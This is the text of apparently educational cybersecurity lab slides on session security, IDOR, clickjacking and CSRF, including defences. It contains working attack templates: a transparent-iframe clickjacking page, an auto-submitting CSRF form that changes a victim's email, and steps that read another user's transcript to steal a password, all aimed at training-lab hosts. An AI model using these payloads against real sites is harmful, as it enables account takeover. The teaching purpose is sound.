CYBER SECURITY

LAB 07: Session Security & CSRF

Agenda
Session Security
Insecure Direct Object References (IDOR)

Clickjacking

Live Lab: Basic clickjacking with CSRF token protection

What is Cross-Site Request Forgery (CSRF)?

CSRF Vulnerabilities: Methodology

CSRF Vulnerabilities: Exploitation

Impact of CSRF Vulnerabilities

Preventing CSRF Vulnerabilities

Hands-On 1, 2
Session
Security
Session Management
Session Management
Session Management
● Session management in web applications refers to the process of securely
handling and maintaining user sessions.
● A session is a period of interaction between a user and a web application,
typically beginning when a user logs in and ending when they log out or
their session expires due to inactivity.
● During a session, the application needs to recognize and track the user,
store their data, and manage their access to different parts of the
application.
● Effective session management is crucial for security, user experience, and
maintaining the state of a web application.
● User Authentication: After a user logs in, the session management system
keeps track of their authenticated state, allowing them to access protected
resources without repeatedly entering credentials.
● User State: Maintain state information about a user's activities. For example, in
an e-commerce site, the session management system keeps track of the items
in a user's shopping cart.
Session IDs & Cookies
● Session IDs:
o Session IDs (Session Identifiers) are unique tokens or strings generated by web applications
to identify and track user sessions. They are essential for maintaining stateful communication
between the client (user's browser) and the server.
o Session IDs are typically used to associate requests from a user with their session data stored
on the server.
● Cookies:
o Cookies are small pieces of data (usually text) that a web server sends to the user's browser,
which stores them locally.
o Cookies serve various purposes, such as session management, user tracking, and
personalization. In the context of session management, session cookies are commonly used
to store the session ID, allowing the server to recognize and maintain the user's session.
 Insecure
Direct
Object
References
(IDOR)
What are insecure direct object
references (IDOR)?
● Insecure direct object references (IDOR) are a type of access control
vulnerability that arises when an application uses user-supplied
input to access objects directly.
● IDOR vulnerabilities are most commonly associated with horizontal
privilege escalation, but they can also arise in relation to vertical
privilege escalation.
● Examples:
o Direct reference to database objects (User account, products,…):

o Direct reference to static files (Directory Traversal can be used):

Insecure Direct Object References
(IDOR): DEMO
● Try to intercept the request and notice the data part:
o ticket_quantity=5&ticket_price=15&action=order
Clickjackin
g
What is clickjacking?
● Clickjacking is an interface-based attack in which a user is tricked
into clicking on actionable content on a hidden website by clicking
on some other content in a trap website.
● Clickjacking (also known as UI Redressing) is a type of attack that
fools a user into clicking on one thing when the user is actually
clicking on another thing.
● The technique depends upon the incorporation of an invisible,
actionable web page (or multiple pages) containing a button or
hidden link within an iframe. The iframe is overlaid on top of the
user's anticipated trap web page content.
● This attack differs from a CSRF attack in that the user is required to
perform an action such as a button click whereas a CSRF attack
depends upon forging an entire request without the user's
knowledge or input.
Clickjacking Attack Methodology
Clickjacking Attack Methodology
Clickjacking Attack Methodology
Clickjacking Attack Methodology
Clickjacking: DEMO
● Try to open ClickJacking page.
Live Lab: Basic clickjacking with
CSRF token protection
Live Lab: Basic clickjacking with
CSRF token protection
1. Log in to your account on the target website.
2. Go to the exploit server and paste the following HTML template into the Body section:
Hello, world!<style>
iframe {
position:relative;
width:1000px;
height: 1000px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:515px;
left:150px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>
Live Lab: Basic clickjacking with
CSRF token protection
5. Click Store and then View exploit.
6. Once you have the div element lined up correctly, click Store.
7. Click on Deliver exploit to victim and the lab should be solved.
Cross-Site
Request
Forgery
(CSRF)
What is Cross-Site Request Forgery
(CSRF)?
● Cross-Site Request Forgery (CSRF) is a type of web security vulnerability
that occurs when an attacker tricks a user into performing out an action
unintentionally on a web application without their knowledge or consent
while that user is authenticated.
● This attack takes advantage of the trust that a web application has in the
user's browser.
What is Cross-Site Request Forgery
(CSRF)?
CSRF Attack Methodology
● The attacker crafts a malicious request (e.g., changing the user's email
address or password) and embeds it in a web page, email, or some other
form of content.
● The attacker tricks the victim into loading this content while the victim is
authenticated in the target web application.
● The victim's browser automatically sends the malicious request, including
the victim's authentication cookie.
● The web application, trusting the request due to the authentication cookie,
processes it, causing the victim's account to be compromised or modified.
CSRF Vulnerabilities:
Methodology
● For a CSRF attack to be possible, three key conditions must be in
place:
o A relevant action: There is an action within the application that the
attacker has a reason to exploit. This might be a privileged action (such as
modifying permissions for other users) or any action on user-specific data
(such as changing the user's own password).
o Cookie-based session handling: Performing the action involves issuing
one or more HTTP requests, and the application relies solely on session
cookies to identify the user who has made the requests. There is no other
mechanism in place for tracking sessions or validating user requests.
o No unpredictable request parameters: The requests that perform the
action do not contain any parameters whose values the attacker cannot
determine or guess. For example, when causing a user to change their
password, the function is not vulnerable if an attacker needs to know the
value of the existing password.
CSRF Vulnerabilities:
Exploitation
● GET Scenario:
CSRF Vulnerabilities:
Exploitation
● GET Scenario:
CSRF Vulnerabilities:
Exploitation
● POST Scenario:
CSRF Vulnerabilities:
Exploitation
● POST Scenario:
CSRF Vulnerabilities:
Exploitation
● POST Scenario:
CSRF Vulnerabilities:
Exploitation
● POST Scenario:
Cross-Site Request Forgery
(CSRF): DEMO
● Try to create fake webpage to trick the victim.
Impact of CSRF Vulnerabilities
● Depends on the functionality in the application that is being
exploited.
o Confidentiality – it can be None / Partial (Low) / High
o Integrity – usually either Partial or High
o Availability – can be None / Partial (Low) / High
● Usually chained with other vulnerabilities to achieve maximum
impact such as full account takeover and even remote code
execution.
Preventing CSRF Vulnerabilities
● Use a CSRF token in relevant requests:
Preventing CSRF Vulnerabilities
● Use a CSRF token in relevant requests:
o How should CSRF tokens be generated?
 Unpredictable with high entropy, similar to session tokens.
 Tied to the user's session.
 Validated before the relevant action is executed.
o How should CSRF tokens be transmitted?
 Hidden field of an HTML form that is submitted using a POST method
 Custom request header
 Tokens submitted in the URL query string are less secure
 Tokens generally should not be transmitted within cookies
o How should CSRF tokens be validated?
o Generated tokens should be stored server-side within the user’s session data
o When performing a request, a validation should be performed that verifies that the
submitted token matches the value that is stored in the user’s session
o Validation should be performed regardless of HTTP method or content type of the request
o If a token is not submitted, the request should be rejected
Preventing CSRF Vulnerabilities
● Use of the Referer HTTP request header:
o It contains an absolute or partial address of the page making the request.
o Referer headers can be spoofed.
● The defense can usually be bypassed:
o Example #1 – if it’s not present, the application does not check for it.
o Example #2 – the referrer header is only checked to see if it contains the domain and exact match is not
made.
Hands-On 1: Insecure direct object
references
(is.gd/lab6_1)
Hands-On 1: Insecure direct object
references
(is.gd/lab6_1)
1. Select the Live chat tab.
2. Send a message and then select View transcript.
3. Review the URL and observe that the transcripts are text files assigned a filename containing
an incrementing number.
4. Change the filename to 1.txt and review the text. Notice a password within the chat
transcript.
5. Return to the main lab page and log in using the stolen credentials.
Hands-On 2: CSRF vulnerability
with no defenses
(is.gd/lab6_2)
Hands-On 2: CSRF vulnerability
with no defenses
(is.gd/lab6_2)
1. Open Burp's browser and log in to your account. Submit the "Update email" form, and find the
resulting request in your Proxy history.
2. Use the following HTML template:
<form method="POST"
action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>
3. Go to the exploit server, paste your exploit HTML into the "Body" section, and click "Store".
4. To verify that the exploit works, try it on yourself by clicking "View exploit" and then check the
resulting HTTP request and response.
5. Change the email address in your exploit so that it doesn't match your own.
6. Click "Deliver to victim" to solve the lab.
QUESTIONS?
THANK YOU